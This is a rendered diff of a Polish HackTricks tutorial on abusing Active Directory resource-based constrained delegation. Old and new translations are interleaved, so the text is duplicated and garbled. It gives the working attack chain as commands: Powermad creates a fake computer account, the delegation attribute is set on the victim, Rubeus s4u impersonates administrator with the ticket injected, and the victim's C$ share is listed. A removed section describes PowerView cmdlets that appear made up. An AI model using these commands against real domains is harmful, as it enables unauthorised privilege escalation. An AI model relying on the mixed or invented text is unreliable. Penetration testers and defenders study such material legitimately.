</details>
|
||||
|
||||
## Podstawy ograniczenia delegacji opartej na zasobach
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jest to podobne do podstawowego [Ograniczenia delegacji](constrained-delegation.md), ale **zamiast** udzielania uprawnień **obiektowi** do **udawania dowolnego użytkownika wobec usługi**. Ograniczenie delegacji opartej na zasobach **ustawia w obiekcie, kto może udawać dowolnego użytkownika wobec niego**.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
W tym przypadku obiekt o ograniczonej delegacji będzie miał atrybut o nazwie _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może udawać dowolnego innego użytkownika wobec niego.
|
||||
## Podstawy delegacji ograniczonej opartej na zasobach
|
||||
|
||||
Inną istotną różnicą w tej delegacji ograniczonej w porównaniu do innych delegacji jest to, że każdy użytkownik z **uprawnieniami do zapisu na koncie komputera** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (w innych formach delegacji wymagane są uprawnienia administratora domeny).
|
||||
Jest to podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md) ale **zamiast** nadawania uprawnień **obiektowi do podszycia się pod dowolnego użytkownika wobec usługi**. Delegacja ograniczona oparta na zasobach **ustawia w obiekcie, kto może podszycić się pod dowolnego użytkownika wobec niego**.
|
||||
|
||||
W tym przypadku obiekt z ograniczeniami będzie miał atrybut o nazwie _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszycić się pod dowolnego innego użytkownika wobec niego.
|
||||
|
||||
Inną ważną różnicą w tej Delegacji Ograniczonej w porównaniu do innych delegacji jest to, że każdy użytkownik z **uprawnieniami do zapisu nad kontem komputera** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (w innych formach Delegacji potrzebne były uprawnienia administratora domeny).
|
||||
|
||||
### Nowe pojęcia
|
||||
|
||||
W przypadku Ograniczenia delegacji powiedziano, że flaga **`TrustedToAuthForDelegation`** wewnątrz wartości _userAccountControl_ użytkownika jest potrzebna do wykonania **S4U2Self**. Ale to nie jest całkowita prawda.\
|
||||
Rzeczywistość jest taka, że nawet bez tej wartości można wykonać **S4U2Self** wobec dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`**, zwrócony TGS będzie **przekazywalny**, a jeśli **nie masz** tej flagi, zwrócony TGS **nie** będzie **przekazywalny**.
|
||||
W przypadku Delegacji Ograniczonej zostało powiedziane, że flaga **`TrustedToAuthForDelegation`** wewnątrz wartości _userAccountControl_ użytkownika jest wymagana do wykonania **S4U2Self**. Ale to nie do końca prawda.\
|
||||
Rzeczywistość jest taka, że nawet bez tej wartości, możesz wykonać **S4U2Self** wobec dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`** zwrócony TGS będzie **Forwardable**, a jeśli **nie masz** tej flagi, zwrócony TGS **nie** będzie **Forwardable**.
|
||||
|
||||
Jednak jeśli używany w **S4U2Proxy** **TGS** jest **NIE przekazywalny**, próba wykorzystania **podstawowego ograniczenia delegacji** **nie zadziała**. Ale jeśli próbujesz wykorzystać **delegację opartą na zasobach, zadziała** (to nie jest podatność, to funkcja, najwyraźniej).
|
||||
Jednak jeśli **TGS** używany w **S4U2Proxy** **NIE jest Forwardable**, próba wykorzystania **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **delegację ograniczoną opartą na zasobach, zadziała** (to nie jest podatność, to funkcja, najwyraźniej).
|
||||
|
||||
### Struktura ataku
|
||||
|
||||
> Jeśli masz **uprawnienia równoważne zapisowi** na koncie **komputera**, możesz uzyskać **uprzywilejowany dostęp** do tego komputera.
|
||||
> Jeśli masz **uprawnienia równoważne zapisu** nad kontem **Komputera**, możesz uzyskać **uprzywilejowany dostęp** do tego komputera.
|
||||
|
||||
Załóżmy, że atakujący ma już **uprawnienia równoważne zapisowi na komputerze ofiary**.
|
||||
Załóżmy, że atakujący ma już **uprawnienia równoważne zapisu nad komputerem ofiary**.
|
||||
|
||||
1. Atakujący **kompromituje** konto, które ma **SPN**, lub **tworzy je** ("Usługa A"). Zauważ, że **dowolny** _Użytkownik Administratora_ bez żadnych innych specjalnych uprawnień może **utworzyć** do 10 **obiektów komputera (**_**MachineAccountQuota**_**)** i ustawić im SPN. Atakujący może po prostu utworzyć obiekt komputera i ustawić SPN.
|
||||
2. Atakujący **wykorzystuje swoje uprawnienia DO ZAPISU** na komputerze ofiary (Usługa B), aby skonfigurować **ograniczenie delegacji opartej na zasobach, które pozwala Usłudze A na udawanie dowolnego użytkownika** wobec tego komputera ofiary (Usługa B).
|
||||
3. Atakujący używa narzędzia Rubeus do przeprowadzenia **pełnego ataku S4U** (S4U2Self i S4U2Proxy) z Usługi A do Usługi B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**.
|
||||
1. S4U2Self (z kompromitowanego/utworzonego konta SPN): Żądanie **TGS Administratora dla mnie** (Nieprzekazywalne).
|
||||
2. S4U2Proxy: Użyj **nieprzekazywalnego TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**.
|
||||
3. Nawet jeśli używasz nieprzekazywalnego TGS, ponieważ wykorzystujesz ograniczenie delegacji opartej na zasobach, zadziała to.
|
||||
4. Atakujący może **przekazać bilet** i **udawać** użytkownika, aby uzyskać **dostęp do Usługi B ofiary**.
|
||||
1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy je** ("Usługa A"). Zauważ, że **dowolny** _Użytkownik Administratora_ bez żadnych innych specjalnych uprawnień może **utworzyć** aż do 10 **obiektów Komputera (**_**MachineAccountQuota**_**)** i nadać im SPN. Więc atakujący może po prostu utworzyć obiekt Komputera i nadać mu SPN.
|
||||
2. Atakujący **wykorzystuje swoje uprawnienia DO ZAPISU** nad komputerem ofiary (UsługaB), aby skonfigurować **delegację ograniczoną opartą na zasobach, pozwalającą UsłudzeA na podszycie się pod dowolnego użytkownika** wobec tego komputera ofiary (UsługaB).
|
||||
3. Atakujący używa narzędzia Rubeus do przeprowadzenia **pełnego ataku S4U** (S4U2Self i S4U2Proxy) z Usługi A na Usługę B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**.
|
||||
1. S4U2Self (z kompromitowanego/utworzonego konta SPN): Prośba o **TGS Administratora do mnie** (Nie Forwardable).
|
||||
2. S4U2Proxy: Użyj **nie Forwardable TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**.
|
||||
3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz delegację ograniczoną opartą na zasobach, zadziała.
|
||||
4. Atakujący może **przekazać bilet** i **podszycić się** pod użytkownika, aby uzyskać **dostęp do usługi ofiary B**.
|
||||
|
||||
Aby sprawdzić _**MachineAccountQuota**_ domeny, można użyć:
|
||||
```powershell
|
||||
|
|
@ -51,7 +55,7 @@ Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select Ma
|
|||
|
||||
### Tworzenie obiektu komputera
|
||||
|
||||
Możesz utworzyć obiekt komputera wewnątrz domeny przy użyciu [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
|
||||
Możesz utworzyć obiekt komputera wewnątrz domeny za pomocą [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
|
||||
```powershell
|
||||
import-module powermad
|
||||
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
|
|
@ -59,46 +63,14 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
|
|||
# Check if created
|
||||
Get-DomainComputer SERVICEA
|
||||
```
|
||||
### Konfigurowanie ograniczonego przekazywania opartego na zasobach
|
||||
### Konfigurowanie ograniczonej delegacji opartej na zasobach
|
||||
|
||||
**Z użyciem modułu PowerShell activedirectory**
|
||||
```powershell
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
```
|
||||
**Używanie powerview**
|
||||
|
||||
Powerview to potężne narzędzie do eksploracji i manipulacji środowiskiem Active Directory. Może być używane do przeprowadzania ataków związanych z delegacją opartą na zasobach. Poniżej przedstawiono kilka przykładów użycia powerview w celu wykorzystania delegacji opartej na zasobach.
|
||||
|
||||
1. **Sprawdzanie uprawnień delegacji**: Aby sprawdzić, czy dana usługa lub konto ma uprawnienia do delegacji, można użyć polecenia `Get-DomainUser` lub `Get-DomainGroup` w powerview. Przykład:
|
||||
|
||||
```
|
||||
Get-DomainUser -Identity <nazwa_konta>
|
||||
```
|
||||
|
||||
2. **Zmiana uprawnień delegacji**: Aby zmienić uprawnienia delegacji dla danego konta, można użyć polecenia `Set-DomainObject` w powerview. Przykład:
|
||||
|
||||
```
|
||||
Set-DomainObject -Identity <nazwa_konta> -AddAllowedToDelegateTo <nazwa_konta_docelowego>
|
||||
```
|
||||
|
||||
3. **Wykorzystywanie delegacji opartej na zasobach**: Aby wykorzystać delegację opartą na zasobach, można użyć polecenia `Invoke-UserImpersonation` w powerview. Przykład:
|
||||
|
||||
```
|
||||
Invoke-UserImpersonation -SamAccountName <nazwa_konta> -DelegateTo <nazwa_konta_docelowego> -Command <polecenie_do_wykonania>
|
||||
```
|
||||
|
||||
Ten atak pozwala na wykonanie polecenia jako użytkownik, który ma uprawnienia do delegacji na danym koncie.
|
||||
|
||||
4. **Zabezpieczanie przed atakami związanymi z delegacją**: Aby zabezpieczyć się przed atakami związanymi z delegacją, należy regularnie monitorować uprawnienia delegacji, ograniczać uprawnienia tylko do niezbędnych kont i usług oraz stosować zasady minimalnego dostępu.
|
||||
|
||||
Przykład:
|
||||
|
||||
- Ograniczanie uprawnień delegacji tylko do niezbędnych kont i usług.
|
||||
- Regularne sprawdzanie i usuwanie niepotrzebnych uprawnień delegacji.
|
||||
- Używanie zasad minimalnego dostępu do zasobów.
|
||||
|
||||
Te środki ostrożności pomogą w minimalizacji ryzyka ataków związanych z delegacją opartą na zasobach w środowisku Active Directory.
|
||||
**Za pomocą narzędzia powerview**
|
||||
```powershell
|
||||
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
|
||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
|
||||
|
|
@ -113,63 +85,67 @@ msds-allowedtoactonbehalfofotheridentity
|
|||
----------------------------------------
|
||||
{1, 0, 4, 128...}
|
||||
```
|
||||
### Wykonanie pełnego ataku S4U
|
||||
### Wykonanie kompletnego ataku S4U
|
||||
|
||||
Po pierwsze, tworzymy nowy obiekt Komputera z hasłem `123456`, więc potrzebujemy skrótu tego hasła:
|
||||
Po pierwsze, utworzyliśmy nowy obiekt komputera z hasłem `123456`, więc potrzebujemy hasha tego hasła:
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
To wydrukuje hashe RC4 i AES dla tego konta.\
|
||||
Teraz można przeprowadzić atak:
|
||||
Teraz atak może zostać przeprowadzony:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
Możesz wygenerować więcej biletów, pytając tylko raz, używając parametru `/altservice` w Rubeus:
|
||||
Możesz generować więcej biletów, pytając tylko raz, używając parametru `/altservice` Rubeusa:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że użytkownicy mają atrybut o nazwie "**Nie można przekazywać**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz w stanie podszyć się pod niego. Właściwość tę można zobaczyć w narzędziu BloodHound.
|
||||
Zauważ, że użytkownicy mają atrybut o nazwie "**Nie można delegować**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz w stanie się pod niego podszyć. Właściwość ta może być zobaczona w Bloodhound.
|
||||
{% endhint %}
|
||||
|
||||
### Uzyskiwanie dostępu
|
||||
### Dostęp
|
||||
|
||||
Ostatnia linia poleceń przeprowadzi **pełny atak S4U i wstrzyknie TGS** z konta Administratora do hosta ofiary w **pamięci**.\
|
||||
W tym przykładzie został żądany TGS dla usługi **CIFS** od Administratora, więc będziesz mógł uzyskać dostęp do **C$**.
|
||||
Ostatnia linia poleceń przeprowadzi **pełne atak S4U i wstrzyknie TGS** od Administratora do hosta ofiary w **pamięci**.\
|
||||
W tym przykładzie został żądany TGS dla usługi **CIFS** od Administratora, dzięki czemu będziesz mógł uzyskać dostęp do **C$**:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
### Wykorzystywanie różnych biletów usług
|
||||
### Nadużywanie różnych biletów usług
|
||||
|
||||
Dowiedz się więcej na temat [**dostępnych biletów usług tutaj**](silver-ticket.md#dostępne-usługi).
|
||||
Dowiedz się o [**dostępnych biletach usług tutaj**](silver-ticket.md#dostępne-usługi).
|
||||
|
||||
## Błędy Kerberosa
|
||||
|
||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że Kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a ty dostarczasz tylko skrót RC4. Dostarcz Rubeusowi co najmniej skrót AES256 (lub dostarcz mu skróty rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że Kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a ty dostarczasz tylko skrót RC4. Dostarcz do Rubeusa co najmniej skrót AES256 (lub po prostu dostarcz skróty rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
* **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu kontrolera domeny i Kerberos nie działa poprawnie.
|
||||
* **`preauth_failed`**: Oznacza to, że podane nazwa użytkownika + skróty nie działają do logowania. Możliwe, że zapomniałeś umieścić "$" wewnątrz nazwy użytkownika podczas generowania skrótów (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`preauth_failed`**: Oznacza to, że podane nazwa użytkownika + skróty nie działają do logowania. Możliwe, że zapomniałeś wstawić "$" wewnątrz nazwy użytkownika podczas generowania skrótów (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`KDC_ERR_BADOPTION`**: Może to oznaczać:
|
||||
* Użytkownik, którego próbujesz podrobić, nie ma dostępu do żądanej usługi (ponieważ nie możesz go podrobić lub nie ma wystarczających uprawnień)
|
||||
* Żądana usługa nie istnieje (jeśli prosisz o bilet dla winrm, ale winrm nie jest uruchomiony)
|
||||
* Utworzony fałszywy komputer utracił uprawnienia do podatnego serwera i musisz je przywrócić.
|
||||
* Użytkownik, którego próbujesz podrobić, nie może uzyskać dostępu do żądanej usługi (ponieważ nie możesz go podrobić lub nie ma wystarczających uprawnień)
|
||||
* Żądana usługa nie istnieje (jeśli prosisz o bilet dla winrm, a winrm nie jest uruchomiony)
|
||||
* Stworzony fakecomputer stracił uprawnienia do podatnego serwera i musisz je przywrócić.
|
||||
|
||||
## Odwołania
|
||||
## Odnośniki
|
||||
|
||||
* [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
* [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się o hakowaniu AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Reference in a new issue